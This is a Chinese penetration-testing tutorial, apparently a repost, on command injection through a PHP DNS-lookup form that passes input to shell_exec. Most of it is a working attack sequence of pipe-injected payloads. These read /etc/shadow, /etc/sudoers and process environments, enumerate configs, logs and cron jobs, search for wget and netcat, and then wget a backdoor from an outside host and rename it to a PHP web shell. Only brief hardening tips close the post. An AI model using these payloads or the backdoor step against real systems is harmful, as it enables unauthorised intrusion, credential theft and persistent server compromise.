php防止post注入恶意代码,[方法分享]利用输入框进行恶意代码注入

恶意代码注入虽然不是一个新的技术,甚至与我们熟知的远程代码执行漏洞并无原理上的区别,但危害却是致命的。本文的场景独特,方法也挺有趣,希望对各位freebufer们有所启发。 闲话少说,现在让我们来看看下图:

这是一个提供查询DNS服务的网站接口,用户可以在输入框中键入IP或主机名来进行查询。 a73eeb95ec7597bbc22d4ff3ffa564c0.png 他的代码实现也并不复杂,如下:<?php

if (isset($_POST["dns-lookup-php-submit-button"])){

try{

if ($targethost_validated){

echo shell_exec(“nslookup ” . $targethost);

$LogHandler->writeToLog($conn, “Executed operating system command: nslookup ” .     $lTargetHostText);

}else{

echo ‘’;

}// end if ($targethost_validated){

}catch(Exception $e){

echo $CustomErrorHandler->FormatError($e, “Input: ” . $targethost);

}// end try

}// end if (isset($_POST))

?>

好了,现在我们试着查询一个IP 74.125.31.102 7dc4063a4f09b021d46b84e3d3987d4b.png 在之前的代码里,你们发现了shell_exec()函数了么?

那么现在你应该明白这个查询接口是怎么实现的了,即通过shell_exec(“nslookup ” . $targethost)来执行系统命令,非常之简单。 下面我们会开始想方设法注入恶意代码 LINUX下"&&"可以用来连接命令,";"是命令分隔符。现在,我们会用echo命令来进行一些尝试,而我个人更倾向于使用"|"(管道符)而不是"&&",具体原因下面会讲到。| echo ‘hello’

57d19d9aa1465d2c4d6325705c3f5427.png 我们执行上面这条命令,其实与在终端下执行nslookup | echo ‘hello’效果是一样的。 d815de46284001fd0f6d5ce7364dec21.png 我为什么会使用管道符"|"而不是"&&"呢?下图会给你解释。 785923fa4a4569fd4eb80699377a0339.png 接下来我们试图获得更多的服务器信息。因为我们之前使用了命令uname -a,我们已经能够识别系统信息,比如Linux kernel release 3.0.0-1,网络接点的主机名是projectX,操作系统是GNU/Linux等等...

我们来查看这台服务器使用了哪种linux:| cat /etc/issue

| cat /etc/*-release

| cat /etc/lsb-release

| cat /etc/redhat-release

901e60beb2aea0ba98f440c1c4f30909.png 哈,这是一个BackBox,是笔者最爱的一款linux发行版:) 来看看我们在哪个目录下:| pwd ; ls -la

eae2fc17220f03deda07990c9cc02ba1.png 为了收集更多的信息,我们需要检查服务器上运行的服务| ps aux

| ps -ef

| top

| cat /etc/service

7b3308d11888d73d6982a556426794c3.png 为了能进一步发现系统中的弱点,以使用一些诸如exploit等方法进行渗透测试

下面的一些命令你兴许用得上:| cat /etc/environment

| cat /proc/self/environ | cat /etc/shadow | cat /etc/sudoers

| cat /etc/group

| cat /etc/security/group

| cat /etc/security/passwd

| cat /etc/security/user

| cat /etc/security/environ

| cat /etc/security/limits

| cat /usr/lib/security/mkuser.default

| cat /var/log/messages

| cat var/log/mysql.log

| cat /var/log/user.log

| cat /var/www/logs/error_log

| cat /etc/syslog.conf

| cat /etc/chttp.conf

| cat /etc/lighttpd.conf

| cat /etc/cups/cupsd.conf

| cat /etc/inetd.conf

| cat /etc/apache2/apache2.conf

| cat/var/log/apache2/error.log

| cat /etc/my.conf

| cat /etc/httpd/conf/httpd.conf

| cat /opt/lampp/etc/httpd.conf

| ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

| cat /etc/resolv.conf

| cat /etc/sysconfig/network

| cat /etc/networks

| /sbin/ifconfig -a

| cat /etc/network/interfaces

| s -alh /var/spool/cron

| ls -al /etc/ | grep cron

| ls -al /etc/cron*

| cat /etc/cron*

| cat /etc/at.allow

| cat /etc/at.deny

| cat /etc/cron.allow

| cat /etc/cron.deny

| cat /etc/crontab

| cat /etc/anacrontab

| cat /var/spool/cron/crontabs/root

许多攻击者乐于在Linux服务器上留下后门,因此他们需要尝试哪些文件可以上传。| find / -name wget

| find / -name nc*

| find / -name netcat*

| find / -name tftp*

| find / -name ftp

我们随便wget一个txt| wget http://freebuf.com/thanks/unixhck.txt

成功了 77d7c042e690b167146d0dcbf3a9aa04.png 很好,既然如此,接下来我们自然是wget一个后门了| wget http://freebuf.com/backdoor.txt

重命名| cp backdoor.txt backdoor.php

查看我们的shell 9771a4eb70922ca8e7fe14662b827d0d.png 几条防止远程代码执行的TIPS: 1.禁止shell_exec()函数

2.如果你确实需要使用shell_exec()函数,建议使用escapeshellarg()和escapeshellcmd()做过滤。

3.使用WAF或mod_security等模块进行拦截过滤。 拓展阅读: A. Jay Turla 译:Thanks[Freebuf]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值